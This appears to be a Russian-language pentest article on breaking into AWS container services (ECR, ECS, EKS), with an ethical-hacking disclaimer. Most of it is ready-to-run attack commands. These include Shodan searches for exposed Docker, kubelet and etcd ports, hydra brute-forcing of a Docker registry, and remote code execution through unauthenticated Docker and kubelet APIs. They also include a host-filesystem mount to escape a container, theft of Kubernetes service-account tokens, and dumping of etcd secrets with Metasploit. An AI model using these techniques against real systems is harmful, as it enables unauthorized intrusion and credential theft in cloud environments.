Безопасность контейнерных сред — все более и более актуальная проблема. Допустим, вы уже умеете повышать привилегии в среде AWS. Но туда ведь нужно еще как‑то попасть! Файлы .credentials в репозиториях и другие глупые ошибки разработчиков уже редко встречаются. Сегодня посмотрим, что еще можно поискать в контейнерах Docker и Kubernetes в облаке Amazon.
Еще по теме: Проверка безопасности Docker-образов
Сейчас все больше крупных компаний используют контейнерные среды. AWS, следуя за спросом, предлагает несколько различных сервисов для работы с Docker или Kubernetes. У кластеров в AWS есть мелкие отличия от обычных, но они очень незначительны.

Слева простая система, справа то же самое, но уже в AWS. Всегда присутствует Docker Engine — собственно, само двигло, обеспечивающее работоспособность контейнерных сред. И реестр — место для скачивания образ докера.
Статья в образовательных целях, для обучения этичных хакеров. Использование подобных техник и инструментов без надлежащего письменного разрешения, является незаконным и будет расцениваться, как уголовное преступление. Ни редакция spy-soft.net, ни автор не несут ответственность за ваши действия.
Elastic Container Registry (ECR)
Внешняя разведка
В ECR находятся образы контейнеров. Они помогают разрабам в управлении, развертывании и настройке инфраструктуры. В таких местах во время пентеста не получается найти, что-то интересное, но довольно часто невнимательные разработчики оставляют в образе какие‑то вкусные данные, поэтому всегда стоит проверять в том числе и реестр.
Без учетных данных надеяться можно лишь на удачу. В ECR имеется адрес для доступа следующего вида:
1 |
https://.dkr.ecr..amazonaws.com |
Например:
1 |
https://184194106212.dkr.ecr.us-east-2.amazonaws.com |
Может быть, удача вам улыбнется и сможете получить доступ к реестру.
Тоже самое Бывает иногда в пентесте встречается работающая на 5000-м порте служба Docker Registry, которую пока сканер Nmap не умеет определять.

Если для реестра необходима аутентификации, то при попытке обратиться к нему появится ошибка:
1 2 |
root@xtreme$> curl -k https://:5000/v2/_catalog {"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]} |
Имея при себе список возможных логинов, можно попробовать брут:
1 |
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/ |
А когда найдете данные для аутентификации, можно сдампить образы DockerRegistryGrabber.
AWS CLI
Если есть доступ к AWS CLI, то, конечно же, получится достать на порядок больше информации.
Первым делом стоит обнаружить все репозитории:
1 |
aws ecr describe-repositories |
Обязательно попробуйте вставить URL из repositoryURl в браузер. Возможно, повезет и аутентификация для доступа к репозиторию не потребуется.
Следующим шагом рекомендую проверить привязанную политику.
1 |
aws ecr get-repository-policy --repository-name |
Пример:
1 |
aws ecr get-repository-policy --repository-name siteru |
Чаще всего никаких политик не привязано и мы получим ошибку.

Но бывает, что попадается привязанная политика.

Здесь видим, что всем объектам (Principal: *) разрешено:
- ecr:BatchCheckLayerAvailability — проверять доступность одного или нескольких образов в репозитории;
- ecr:BatchGetImage — получать более детальную информацию об образе;
- ecr:GetDownloadUrlForLayer — получать URL для загрузки образа.
Наконец, убедившись, что текущий пользователь имеет права на работу с репозиторием, найдем все образы:
1 |
aws ecr list-images --repository-name |
Пример:
1 |
aws ecr list-images --repository-name siteru |
Получить информацию о конкретном образе:
1 |
aws ecr describe-images --repository-name --image-ids imageTag= |
Пример:
1 |
aws ecr describe-images --repository-name xakepru --image-ids imageTag=latest |
Elastic Container Service (ECS)
Да, много информации из ECR не вытянуть. А можно ли сразу пробраться в Docker? Все возможно! ECS — сервис для управления контейнерами. Его структура довольно незамысловата.

Сначала создается кластер с определенным числом узлов (нод). Чаще всего это реализуется на базе EC2 или Fargate.
Задача — это обязательная и незаменимая часть ECS. Она требуется для корректного запуска контейнера. Позволяет указать, какой образ Docker использовать, сколько ЦП и памяти выделять, как собирать логи, какую роль IAM использовать и так далее. Задача запускается вручную. Она, в свою очередь, запускает определенные для нее контейнеры, которые работают, пока не будут остановлены или не завершат работу самостоятельно.
Служба ECS используется, чтобы гарантировать, что всегда выполняется некоторое количество задач. Если контейнер непредвиденно выключается, то именно служба заменит неудавшуюся задачу. Для того и создаются кластеры: чтобы у службы было достаточно ресурсов для использования.
Initial Access
Самый распространенный способ получить первоначальный доступ в ECS — торчащие в сеть порты 2375 или 2376. На них висит Docker Remote API, используемый для управления контейнером. По умолчанию на нем нет никакой аутентификации, поэтому любой, кто в состоянии взаимодействовать с этими портами, может работать с контейнерами.
Обнаружить подобный мисконфиг можно с помощью Shodan:
1 2 |
port:2375 product:docker port:2376 product:docker |
Эксплуатация донельзя простая. Можно использовать стандартную утилиту Docker, указав в переменной среды DOCKER_HOST IP уязвимого хоста, а затем выполнять все стандартные команды администрирования контейнеров. Как вариант — отправлять JSON с информацией для Docker при помощи curl.
Описание формата данных в официальной документации Docker.
Находим все доступные контейнеры:
1 |
curl http://:2375/containers/json | python3 -m json.tool |
Видим, что взаимодействие успешно, поэтому можем добиться выполнения кода в контейнере вот так:
1 2 3 |
curl -s "http://10.10.10.10:2375/containers//exec" -X POST -H "Content-Type: application/json" -d '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["whoami"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}' export EXEC_ID=913c5 curl -s "http://10.10.10.10:2375/exec/${EXEC_ID}/start" -X POST -H "Content-Type: application/json" -d '{"Detach": false,"Tty": false}' |
Если хотите использовать Docker, то все точно так же. Рассмотрим вариант с монтированием хостовой файловой системы в контейнер:
1 2 3 4 5 6 7 8 |
# Указываем IP-адрес уязвимого хоста export DOCKER_HOST="tcp://10.10.10.10:2375" # Смотрим доступные образы docker images # Запускаем контейнер (/:/host означает монтирование / в контейнерный /home) docker run -it -v /:/host : bash # И монтируем файловую систему docker> chroot /host bash |
Enumeration
Успешно сбежав из контейнера, вы попадаете на саму работающую ноду (которая чаще всего будет расположена в VPC). В случае с EC2 обязательно проверяйте IMDS, чтобы найти токены доступа привязанной роли. Как это делать, я рассказывал в прошлой статье.
Virtual Private Cloud (VPC), или виртуальное частное облако, — это полноценная изолированная сеть в облаке, обладающая всеми свойствами реальной сети. Здесь используются такие же IP-адреса, подсети и маршрутизация, как в обычной сети.
Когда получен доступ к AWS CLI, пора переходить к разведке.
Поиск всех кластеров: aws ecs list-clusters.

Получить подробную информацию о конкретном кластере:
1 |
aws ecs describe-clusters --cluster |
Пример:
1 |
aws ecs describe-clusters --cluster DimkinCluster |
Дальше можно продолжить нашу разведку вот так:
1 2 3 4 5 6 7 |
# Нахождение всех сервисов aws ecs list-services --cluster # Конкретный сервис aws ecs describe-services --cluster --services # Задачи aws ecs list-tasks --cluster aws ecs describe-tasks --cluster --tasks |
Elastic Kubernetes Service (EKS)
Kubernetes — лакомый кусочек для пентестера. Именно здесь всегда сосредоточено больше всего интересной информации, а векторов для получения доступа множество. Однако устройство даже простого кластера поначалу может напугать!

Создается кластер. В нашем случае есть два VPC: EKS VPC — основной и Customer VPC — дочерний. В дочернем существуют рабочие экземпляры, на которых работают приложения. Поэтому очень важно во время пентеста определить, какой VPC принадлежит узел управления (EKS Control Panel), а на какой запускаются приложения.
Во многом структура похожа на обычный кластер Kubernetes. Те же ноды, те же балансировщики нагрузки, те же средства управления. Kubernetes может хранить множество секретов, множество мисконфигов и множество потенциальных векторов для атак!
Опять же Kubernetes интересен нам потому, что, выбравшись к ноде, попадем в VPC, что не может не радовать.
Initial Access
Kubelet API
Это служба, которая работает на каждом узле кластера. Она следит за тем, чтобы контейнеры были запущены в поде, и взаимодействует с kube-apiserver. По умолчанию работает на порте 10250.
Обнаружить ее просто. Например, можете ввести в Shodan port:
1 |
10250 Kubernetes |
В некоторых случаях будет доступ только для чтения. То есть максимум сможем получать информацию из API: устройство кластера, имена подов, расположение файлов и другие настройки. Это не критическая информация, но ее все же не следует выкладывать в интернет.
Например, можно злоупотребить этим, обратившись к следующему URL:
1 |
http://external-IP:10255/pods |
В переменных средax контейнера неприлично часто встречаются чувствительные данные, как в этом примере — ключи доступа для AWS. Получим доступ к этому контейнеру — получим доступ в облако.
Но нам может очень крупно повезти, ведь по умолчанию к этому сервису предоставляется анонимный доступ.

Правда, возникают определенные проблемы. API службы Kubelet не документирован, хотя когда это мешало хакерам? Мы ведь можем просто глянуть в исходный код.
Стоит искать строку, которая начинается с path(.

Я обнаружил следующие интересные эндпоинты:
1 2 3 4 5 6 7 |
/pods/ /run/ /exec/ /attach/ /portForward/ /containerLogs/ /runningpods/ |
Обратите внимание на /exec/ и /run/. С помощью этих конечных точек можно выполнить код внутри контейнера! Причем существует даже инструмент для эксплуатации, но, чтобы лучше понять суть процесса, рекомендую использовать curl:
1 2 3 4 5 6 7 8 9 10 11 |
# Получить все пространства имен, поды и контейнеры curl -k https://10.10.11.133:10250/pods/ | jq -r '.items[] | [.metadata.namespace, .metadata.name, [.spec.containers[].name]]' curl -k https://10.10.11.133:10250/runningpods/ | jq -r '.items[] | [.metadata.namespace, .metadata.name, [.spec.containers[].name]]' # /run curl -XPOST -k https://10.10.11.133:10250/run/{namespace}/{pod}/{container} \ -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt /var/run/secrets/kubernetes.io/serviceaccount/token" # /exec curl -sk -X POST -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" \ https://10.10.11.133:10250/exec/{namespace}/{pod}/{container} \ -d 'input=1' -d 'output=1' -d 'tty=1' \ -d 'command=ls' -d 'command=/' |
Как вариант, можете использовать kubeletctl:
1 2 |
kubeletctl exec /bin/sh -n -p -c -s --cacert ./ca.crt kubeletctl exec /bin/sh -p kube-proxy-84qt4 -c kube-proxy -n kube-system -s 10.129.227.136 --cacert ./ca.crt |
etcd
Анонимные сессии на этом не заканчиваются! Такому же мисконфигу может быть подвержено и хранилище etcd. Оно имеет формат «ключ — значение» и содержит всю информацию о конфигурации кластера Kubernetes. В нем также хранится текущее состояние системы и желаемое (например, после деплоймента).
С поиском снова поможет Shodan:
1 |
port:2379 product:"etcd" |
В etcd всегда лежит много секретов, получить к ним доступ можно, например, с помощью MSF:
1 2 3 |
use auxiliary/scanner/etcd/open_key_scanner set RHOSTS TARGETIP exploit |
Если Metasploit по каким‑то причинам не устраивает, можете использовать etcdctl:
1 |
etcdctl --endpoints=http://:2379 get / --prefix --keys-only |
Kube-ApiServer
Наконец, если не было уязвимости ни в Kubelet, ни в etcd, то посмотрите в сторону API-сервера. С этой службой общаются обычно с помощью инструмента kubectl, а располагается она на 6443-м, 443-м или 8443-м порте. Проверить работоспособность можно так:
1 2 3 |
curl -k https://IP:6443/swaggerapi curl -k https://IP:8443/healthz curl -k https://IP:443/api/v1 |
Однако получить RCE таким методом, к сожалению, не получится.
Перечисление
При получении доступа в AWS CLI открываются богатые возможности для поиска информации.
Получить список доступных кластеров можно командой:
1 |
aws eks list-clusters |
Получить информацию об определенном кластере:
1 |
aws eks describe-cluster --name |
Пример:
1 |
aws eks describe-cluster --name RedTeamCluster |
Обратите внимание на следующее:
- version — версия Kubernetes, которая используется;
- endpoint — конечная точка для доступа к этому кластеру. В некоторых редких конфигурациях она может быть доступна из интернета, что значительно упрощает пентест;
- vpcId — VPC, в котором находится кластер;
- endpointPublicAccess — разрешен ли доступ без аутентификации к эндпоинту;
- publicAccessCidrs — диапазон IP, из которого можно получить доступ к кластеру.
Чаще всего, попав в облако из Kubernetes, можно получить привилегированную учетку. У нее может не быть никаких прав в AWS, но при этом она может уметь делать все в среде Kubernetes.
Одна из первых настроек кластера на EKS, которые нужно сделать еще до запуска узлов, — это добавление роли узла IAM в группу system:nodes. Эта группа привязана к роли Kubernetes system:node, у которой есть права на чтение разных объектов Kubernetes: сервисов, узлов, подов, постоянных томов и восемнадцати других ресурсов. Все, что нам нужно сделать, чтобы унаследовать эти полномочия, — попросить AWS преобразовать наши ключи доступа IAM в действительный токен Kubernetes, чтобы мы могли запрашивать сервер API как член группы system:nodes:
1 |
aws eks get-token --cluster-name <имя кластера> --profile <профиль> |
Пример:
1 |
aws eks get-token --cluster-name RedTeamCluster --profile node |
Заключение
Как вы смогли убедиться, получить первоначальный доступ в AWS не так и сложно. Злоумышленник, сбегая из контейнера, вылезет где‑нибудь в VPC, что может нанести компании огромный ущерб!
Дальше нарушитель будет повышать привилегии, собирать информацию из etcd, искать доступ к другим VPC. Об этих техниках я расскажу в следующих статьях.
ПОЛЕЗНЫЕ ССЫЛКИ:
- Уязвимости в сервисах совместной разработки
- Взлом репозитория GitHub с помощью GitHub Dorks
- Взлом удаленного хоста через Git и привилегии с GTFOBins